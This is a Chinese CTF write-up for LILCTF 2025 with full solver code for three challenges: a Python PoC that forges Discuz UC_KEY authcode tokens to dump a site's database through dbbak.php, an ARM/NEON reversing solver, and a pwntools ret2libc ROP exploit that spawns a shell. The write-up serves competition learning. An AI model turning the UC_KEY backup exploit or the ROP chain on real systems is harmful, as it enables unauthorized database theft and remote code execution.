LILCTF 2025 wp
前言
跟着队伍OTSASumuvior
打了一天这个之后还要去打SEKAI CTF
我曾有一份工作
题目描述中有备份,直接开扫,扫到了www.zip
里面是网站源码,包含一堆配置以及密钥
审计之后发现只要有UC_KEY就可以备份数据库
api/db/dbbak.php
<?php
// ...existing code...
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if(empty($get)) {
exit('Invalid Request');
}
//后续没有更多验证身份的逻辑
// ...existing code...
}
if($get['method'] == 'export') {
$db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');
$time = date("Y-m-d H:i:s", $timestamp);
$tables = array();
$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
//后续直接开始备份
// ...existing code...于是可以写出poc
import requests
import hashlib
import time
import math
import base64
import urllib.parse
from xml.etree import ElementTree
TARGET_HOST = "http://challenge.xinshi.fun:47050"
UC_KEY = "N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb"
APP_TYPE = "discuzx"
API_URL = f"{TARGET_HOST}/api/db/dbbak.php"
def _authcode(string, operation='ENCODE', key=''):
"""
authcode 函数的 Python 实现 (ENCODE 部分)
"""
ckey_length = 4
key = hashlib.md5(key.encode('utf-8')).hexdigest()
keya = hashlib.md5(key[0:16].encode('utf-8')).hexdigest()
keyb = hashlib.md5(key[16:32].encode('utf-8')).hexdigest()
mt = '%.8f %d' % math.modf(time.time())
keyc = hashlib.md5(mt.encode('utf-8')).hexdigest()[-ckey_length:]
cryptkey = keya + hashlib.md5((keya + keyc).encode('utf-8')).hexdigest()
key_length = len(cryptkey)
string_to_encode = f"0000000000{hashlib.md5((string + keyb).encode('utf-8')).hexdigest()[0:16]}{string}"
string_length = len(string_to_encode)
result_bytes = bytearray()
box = list(range(256))
rndkey = [ord(cryptkey[i % key_length]) for i in range(256)]
j = 0
for i in range(256):
j = (j + box[i] + rndkey[i]) % 256
box[i], box[j] = box[j], box[i]
a = j = 0
for i in range(string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
box[a], box[j] = box[j], box[a]
result_bytes.append(ord(string_to_encode[i]) ^ (box[(box[a] + box[j]) % 256]))
encoded_result = base64.b64encode(result_bytes).replace(b'=', b'')
return keyc + encoded_result.decode('utf-8')
def start_backup():
print("[*] 准备开始备份数据库...")
params_str = f"method=export&time={int(time.time())}"
code = _authcode(params_str, 'ENCODE', UC_KEY)
next_url = f"{API_URL}?apptype={APP_TYPE}&code={urllib.parse.quote(code)}"
vol_num = 1
while next_url:
print(f"\n[*] 正在请求分卷 #{vol_num}...")
print(f" URL: {next_url}")
try:
response = requests.get(next_url, timeout=20)
response.raise_for_status()
root = ElementTree.fromstring(response.text)
error_code = root.find('error').get('errorCode')
error_message = root.find('error').get('errorMessage')
if error_code != '0':
if error_message == 'explor_success':
print("\n[+] 数据库备份成功完成!")
file_info = root.find('fileinfo')
if file_info is not None and file_info.find('file_name').text:
print(f" 文件名: {file_info.find('file_name').text}")
print(f" 下载地址: {file_info.find('file_url').text}")
break
else:
print(f"[!] 发生错误: {error_message} (Code: {error_code})")
break
file_info = root.find('fileinfo')
file_name = file_info.find('file_name').text
file_url = file_info.find('file_url').text
print(f"[+] 分卷 {vol_num} 备份成功!")
print(f" 文件名: {file_name}")
print(f" 下载地址: {file_url}")
next_url_node = root.find('nexturl')
if next_url_node is not None and next_url_node.text:
next_url = next_url_node.text
vol_num += 1
else:
print("\n[+] 所有分卷备份完成!")
next_url = None
except requests.exceptions.RequestException as e:
print(f"[!] 请求失败: {e}")
break
except ElementTree.ParseError as e:
print(f"[!] XML 解析失败: {e}")
print(f" 收到的内容: {response.text}")
break
if __name__ == "__main__":
start_backup()在备份得到的三个分卷中搜索pre_a_flag
INSERT INTO pre_a_flag VALUES ('1',0x666c61677b746573745f666c61677d);
INSERT INTO _flag VALUES ('2',0x4c494c4354467b483476455f796f555f466f556e445f615f4a6f385f6e23573f5f4841684168617d);arm asm
apk部分检测输入经过加密后是否等于KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S
进入加密函数逻辑
48位的flag首先分成3次进行先打乱后XOR
for ( i = 0; i <= 2; ++i )
{
*(int8x16_t *)&v11[16 * i] = veorq_s8(vqtbl1q_s8(*(int8x16_t *)&v11[16 * i], v10), v10);
v15 = i;
v4 = &v15;
v5 = vld1q_dup_s8(v4);
v10 = veorq_s8(v10, v5);
__android_log_print(6, "========= Error ========= ", "%s", v11);
}
其中v10是密钥,0x0D, 0x0E, 0x0F, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x06, 0x07, 0x05, 0x04, 0x02, 0x03, 0x01, 0x00
然后位运算
for ( j = 0; j <= 47; j += 3 )
{
v11[j] = ((unsigned __int8)v11[j] >> 5) | (8 * v11[j]);
v11[j + 1] = ((unsigned __int8)v11[j + 1] >> 1) | (v11[j + 1] << 7);
v11[j + 2] = v11[j + 2];
}
最后进行换表base64
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/
import base64
TARGET_CIPHERTEXT = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
CUSTOM_ALPHABET = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
STANDARD_ALPHABET = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def custom_base64_decode(encoded_str, custom_alphabet):
translation_table = bytes.maketrans(custom_alphabet, STANDARD_ALPHABET)
standard_b64_str = encoded_str.translate(translation_table)
return base64.b64decode(standard_b64_str)
def rol(byte, count):
return ((byte << count) | (byte >> (8 - count))) & 0xFF
def reverse_bit_operations(data):
data_list = list(data)
for i in range(0, len(data_list), 3):
data_list[i] = rol(data_list[i], 5)
data_list[i+1] = rol(data_list[i+1], 1)
return bytes(data_list)
def xor_bytes(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
def unshuffle(shuffled_data, key):
original_data = bytearray(16)
for i in range(16):
original_data[key[i]] = shuffled_data[i]
return bytes(original_data)
def reverse_neon_encryption(data, initial_key):
K0 = initial_key
K1 = K0
K2 = xor_bytes(K0, bytes([1] * 16))
keys = [K0, K1, K2]
encrypted_blocks = [data[0:16], data[16:32], data[32:48]]
decrypted_blocks = [b''] * 3
for i in range(2, -1, -1):
shuffled_block = xor_bytes(encrypted_blocks[i], keys[i])
decrypted_blocks[i] = unshuffle(shuffled_block, keys[i])
return b"".join(decrypted_blocks)
REAL_KEY = bytes([
0x0D, 0x0E, 0x0F, 0x0C, 0x0B, 0x0A, 0x09, 0x08,
0x06, 0x07, 0x05, 0x04, 0x02, 0x03, 0x01, 0x00
])
after_b64_decode = custom_base64_decode(TARGET_CIPHERTEXT.encode(), CUSTOM_ALPHABET)
after_bit_op_reverse = reverse_bit_operations(after_b64_decode)
final_flag = reverse_neon_encryption(after_bit_op_reverse, REAL_KEY)
print(final_flag.decode())签到
简单的rop,先泄露puts地址计算基址然后调用system即可
from pwn import *
context.binary = elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('challenge.xinshi.fun', '36781')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]
offset = 120
payload1 = flat(
b'A' * offset,
p64(pop_rdi),
p64(elf.got.puts),
p64(elf.plt.puts),
p64(elf.symbols.main)
)
p.recvuntil(b"What's your name?\\n")
p.sendline(payload1)
leaked_puts_raw = p.recvline().strip()
leaked_puts = u64(leaked_puts_raw.ljust(8, b'\\x00'))
libc.address = leaked_puts - libc.symbols.puts
system_addr = libc.symbols.system
bin_sh_addr = next(libc.search(b'/bin/sh\\x00'))
payload2 = flat(
b'A' * offset,
p64(ret_gadget),
p64(pop_rdi),
p64(bin_sh_addr),
p64(system_addr)
)
p.recvuntil(b"What's your name?\\n")
p.sendline(payload2)
p.interactive()
许可协议:
CC BY 4.0